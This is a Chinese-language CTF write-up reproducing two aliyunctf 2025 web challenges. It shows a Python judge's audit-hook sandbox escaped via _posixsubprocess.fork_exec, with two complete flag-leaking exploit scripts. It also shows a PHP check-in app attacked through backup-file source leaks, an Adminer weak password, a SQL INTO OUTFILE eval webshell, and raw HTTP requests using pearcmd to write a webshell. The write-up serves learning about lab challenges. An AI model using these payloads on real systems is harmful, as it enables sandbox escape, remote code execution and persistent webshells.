aliyunctf 2025 web 部分复现

aliyunctf 2025

前言

还是太菜了,比赛直接爆 0 了,挑其中能看懂的题目复现一下。

ezoj

访问 /source 得到源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
 
app = Flask(__name__)
 
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
 
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
 
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
 
def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError
 
sys.addaudithook(audit_checker)
 
 
"""
 
 
class OJTimeLimitExceed(Exception):
    pass
 
 
class OJRuntimeError(Exception):
    pass
 
 
@app.route("/")
def index():
    return send_file("static/index.html")
 
 
@app.route("/source")
def source():
    return send_file("server.py")
 
 
@app.route("/api/problems")
def list_problems():
    problems_dir = PROBLEMS_PATH
    problems = []
    for problem in problems_dir.iterdir():
        problem_config_file = problem / "problem.json"
        if not problem_config_file.exists():
            continue
 
        problem_config = json.load(problem_config_file.open("r"))
        problem = {
            "problem_id": problem.name,
            "name": problem_config["name"],
            "description": problem_config["description"],
        }
        problems.append(problem)
 
    problems = sorted(problems, key=lambda x: x["problem_id"])
 
    problems = {"problems": problems}
    return jsonify(problems), 200
 
 
@app.route("/api/submit", methods=["POST"])
def submit_code():
    try:
        data = request.get_json()
        code = data.get("code")
        problem_id = data.get("problem_id")
 
        if code is None or problem_id is None:
            return (
                jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
                400,
            )
 
        problem_id = str(int(problem_id))
        problem_dir = PROBLEMS_PATH / problem_id
        if not problem_dir.exists():
            return (
                jsonify(
                    {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
                ),
                404,
            )
 
        code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
        with open(code_filename, "w") as code_file:
            code = CODE_TEMPLATE + code
            code_file.write(code)
 
        result = judge(code_filename, problem_dir)
 
        code_filename.unlink()
 
        return jsonify(result)
 
    except Exception as e:
        return jsonify({"status": "ER", "message": str(e)}), 500
 
 
def judge(code_filename, problem_dir):
    test_files = sorted(problem_dir.glob("*.input"))
    total_tests = len(test_files)
    passed_tests = 0
 
    try:
        for test_file in test_files:
            input_file = test_file
            expected_output_file = problem_dir / f"{test_file.stem}.output"
 
            if not expected_output_file.exists():
                continue
 
            case_passed = run_code(code_filename, input_file, expected_output_file)
 
            if case_passed:
                passed_tests += 1
 
        if passed_tests == total_tests:
            return {"status": "AC", "message": f"Accepted"}
        else:
            return {
                "status": "WA",
                "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
            }
    except OJRuntimeError as e:
        return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
    except OJTimeLimitExceed:
        return {"status": "TLE", "message": "Time Limit Exceed"}
 
 
def run_code(code_filename, input_file, expected_output_file):
    with open(input_file, "r") as infile, open(
        expected_output_file, "r"
    ) as expected_output:
        expected_output_content = expected_output.read().strip()
 
        process = subprocess.Popen(
            ["python3", code_filename],
            stdin=infile,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )
 
        try:
            stdout, stderr = process.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            process.kill()
            raise OJTimeLimitExceed
 
        if process.returncode != 0:
            raise OJRuntimeError(process.returncode)
 
        if stdout.strip() == expected_output_content:
            return True
        else:
            return False
 
 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

每次执行脚本都会加一个代码模板,并保存到一个新文件执行代码,看一下代码模板

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
 
def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError
 
sys.addaudithook(audit_checker)
 
 
"""

只有特定的钩子事件才会被通过,使用_posixsubprocess 模块可以进行绕过,_posixsubprocess.fork_exec 是 CPython 内部实现子进程的底层函数,属于 未暴露给标准审计事件 的底层调用。它直接通过系统调用(如 fork 和 execve)操作,绕过了高层抽象(如 subprocess 模块),因此不会触发类似 “subprocess.popen” 的审计事件。

官方 wp 的做法

_posixsubprocess 源码中可以发现 c2pwrite 参数会重定向到子进程的标准输出

1
2
3
4
5
6
if (c2pwrite == 1) {
        if (_Py_set_inheritable_async_safe(c2pwrite, 1, NULL) < 0)
            goto error;
    }
    else if (c2pwrite != -1)
        POSIX_CALL(dup2(c2pwrite, 1));  /* stdout */

脚本如下:执行命令并将结果写入到退出码中(Runtime Error: ret=?)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
 
URL = "http://url/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys
 
std_pipe = os.pipe()
err_pipe = os.pipe()
 
_posixsubprocess.fork_exec(
    (b"/bin/bash",b"-c",b"cat /flag*"),
    [b"/bin/bash"],
    True,
    (),
    None,
    None,
    -1,
    -1,
    -1,
    std_pipe[1], #c2pwrite
    -1,
    -1,
    *(err_pipe),
    False,
    False,
    False,
    None,
    None,
    None,
    -1,
    None,
    False,
)
//由于os.read可能会将程序卡住,因此在os.read之前先sleep一下 
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
 
if {loc} < content_len:
    sys.exit(content[{loc}])
else:
    sys.exit(255)
"""
 
command="cat /flag*"
received = ""
 
for i in range(254):
    code = CODE_TEMPLATE.format(loc=i,command=command)
    data = {"problem_id":0,"code":code}
    resp = requests.post(URL,json=data)
    resp_data = resp.json()
    assert(resp_data["status"] == "RE")
    ret_loc = resp_data["message"].find("ret=")
    ret_code = resp_data["message"][ret_loc+4:]
    if ret_code == "255":
        break
    received += chr(int(ret_code))
    print(received)

baozongwi 师傅的解法

是利用的(Time Limit Exceed)时间盲注。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests
url="http://url/api/submit"
target="aliyunctf{"
char_set = "abcdef0123456789{}-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(11,50):
    for j in char_set:
        payload=f"print(sum(map(int, input().split())))\nimport os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"/bin/bash\",\"-c\",\"if [ $(head -n 1 /f* | cut -c {i}) == '{j}' ]; then sleep 5; fi;\"], [b\"/bin/bash\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)"
        burp0_json={"problem_id":"0","code": payload,}
 
        print(j)
        r=requests.post(url,json=burp0_json)
        if "Time Limit Exceed" in r.text:
            print(f"第{i}个字符是{j}")
            target+=j
            break
            print(target)

打卡 ok

首先是~源码泄露,只要知道文件名,后面加一个~就可以读取到内容

1764923729641-638c9a20-e710-48ca-b679-f4f273b3b799.png

但是找了好几个文件就找到一个数据库账号密码

1764923729718-c6895c00-b6b8-48ed-b64c-dc5eccc01b85.png

看了别人的 wp 才知道,是在 ok.php 里,有点逆天

1764923729802-fa4afa68-3ccd-4577-936c-db23b3a94f0f.png

访问 adminer_481.php 可以进入到 adminer 后台

非预期

存在弱口令 root/root 可以直接进入后台并写马

1
select "<?php @eval($_POST['cmd']);?>" into outfile "/var/www/html/shell.php";

蚁剑连接即可(如果是 web 用户的话,则没有权限写)

预期

利用 web 身份登录后台数据库后,随便修改一个账号密码,看 pass.php~ 和 login.php~ 就可以找到加密逻辑(codes 是盐值拼接在密码的前面,然后 md5 存入数据库)

1
2
MD5 ("12345asdasdasdasdad") = 5d710c8773a7415726cd25b3ffebfa3e
5d710c8773a7415726cd25b3ffebfa3e:12345 //asdasdasdasdad

1764923729803-059e07e3-66a2-472d-9e88-2dcd22d2f383.png

查看源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
    if(isset($_GET['debug_buka']))
    {
        $time=date($_GET['debug_buka']);
    }else{
        $time=date("Y-m-d H:i:s");
    }
    $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
    $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
    $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
    if (is_file($cachefile)) {
        $data=file_get_contents($cachefile);
        $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
        $check="/var/www/html/".$checkdata['background'].".php";
        include "$check";
    }else{
        include 'error.php';
    }
}
?>

下面就没咋看懂了,pearcmd 倒是见过,不知道在这里为什么要用它,贴上官方 payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
//date函数反序列化绕过
POST /index.php?debug_buka=%5c%31%5c%32%5c%33%5c%78%5c%78%5c%78%5c%78%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%3a%5c%22%5c%74%5c%69%5c%6d%5c%65%5c%22%5c%3b%5c%73%5c%3a%5c%32%5c%3a%5c%22%5c%31%5c%32%5c%22%5c%3b%5c%73%5c%3a%5c%31%5c%30%5c%3a%5c%22%5c%62%5c%61%5c%63%5c%6b%5c%67%5c%72%5c%6f%5c%75%5c%6e%5c%64%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%33%5c%3a%5c%22%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%75%5c%73%5c%72%5c%2f%5c%6c%5c%6f%5c%63%5c%61%5c%6c%5c%2f%5c%6c%5c%69%5c%62%5c%2f%5c%70%5c%68%5c%70%5c%2f%5c%70%5c%65%5c%61%5c%72%5c%63%5c%6d%5c%64%22%5c%3b%5c%7d HTTP/1.1
Host: 192.168.10.100:50100
Content-Length: 53
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Origin: http://192.168.10.100:50100
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fpd8m225h699b4o6stpja3vtcc; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close
 
reason=%3C%3Fphp+exit%3B%2F%2F%3C%3Fphp+exit%3B%2F%2F
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
POST /index.php?check&+config-create+/<?=@eval($_GET[1]);?>+/var/www/html/hello.php HTTP/1.1
Host: 172.16.2.72:5898
Content-Length: 7
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Origin: http://172.16.2.72:5398
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.2.72:5398/index.php?check/?+config-create+/%3C?=phpinfo()?%3E+/var/www/html/hello.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=inns5m7uhe0i3d9d19dtgcmsj2; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close
 
check=1

发包注意 url 编码的问题